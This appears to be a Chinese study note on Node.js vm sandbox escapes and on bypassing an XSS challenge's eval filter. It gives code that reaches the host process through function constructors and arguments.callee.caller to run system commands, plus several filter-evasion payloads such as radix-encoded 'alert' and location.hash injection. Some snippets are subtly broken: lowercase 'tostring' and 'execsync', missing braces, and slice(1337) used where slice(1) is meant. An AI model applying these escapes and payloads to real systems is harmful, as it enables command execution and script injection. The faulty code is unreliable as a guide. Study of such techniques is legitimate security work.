使用vm环境的nodejs代码
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()
第一行:this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象
第二行:利用前面获取的process对象执行任何命令
进行沙箱逃逸,我们可以使用this获取到函数对象的构造器,进而获取到process对象。
或者我们利用引用类型,例如{}
沙箱绕过的核心原理:只要能在沙箱内部找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱
下面的代码使用Object.create(null),这个this的指向null,所以我们不能够用this的构造对象进而来获取方法
const vm=require('vm');
const script=`..`;
const sanbox=Object.create(null);
const context=new vm.createContext(sanbox);
const res=vm.runInContext(script,context);
console.log(res);
所以,需要通过argument.callee.caller来获取到process对象,从而达到执行命令的操作。
const script=`(()=>
const a={}
a.tostring=function(){
const cc=arguments.callee.caller
const p =(cc.constructor('return process'))()
return p.mainModule.require('child_process').execsync('whoami').tostring()
}
return a
})()`;
这里argument.callee是返回的函数本身。
argument.callee.caller,这里谁调用了它,它就返回谁
最后需要
console.log('hello'+res)来达到触发tostring,在js中,某一个东西和字符串拼接最后也会变成字符串
和字符串连接,就会调用它的**tostring()**方法,从而达到触发上述所写的代码
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)
需要弹窗1337。首先分析一下这个正则表达式,这里过滤了`, ', ",+,-,!,,[,]并且过滤了弹窗函数alert
弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗
方法一:
prompt(1337);
confirm(1337);
每个 JavaScript 函数实际上都是一个 Function 对象。Function 构造函数创建一个新的 Function 对象。直接调用此构造函数可用动态创建函数,但会遇到和 eval 类似的的安全问题和性能问题。然而与 eval 不同的是,Function 创建的函数只能在全局作用域中运行
payload2: Function(/ALERT(1337)/.source.toLowerCase())()
使用eval函数绕过限制,要被解析的值。如果参数不是一个字符串,则将其转换为字符串(使用Tostring抽象操作),字符串开头的空白符将会被忽略
parseInt('alert', 30)
a 1
t 20 -----> 30 0,1,2,3,4,5,6,7,8,9 A B C D E F
要将一个数字转换为特定的radix中的字符串字段,使用thatNumber.toString(radix)用函数
利用location中的hash来绕过关键字location.hash是取url中#后面的部分。
8680439..toString(30) === alert
payload3:eval(8680439..toString(30))(1337)
var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
console.log(url.href); // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
console.log(url.protocol); // https:
console.log(url.host); // developer.mozilla.org
console.log(url.hostname); // developer.mozilla.org
console.log(url.port); // (blank - https assumes port 443)
console.log(url.pathname); // /en-US/search
console.log(url.search); // ?q=URL
console.log(url.hash); // #search-results-close-container
console.log(url.origin); // https://developer.mozilla.org
location.hash是取url中#后面的部分
eval(location.hash.slice(1337))#alert(1337)
这样就成功绕过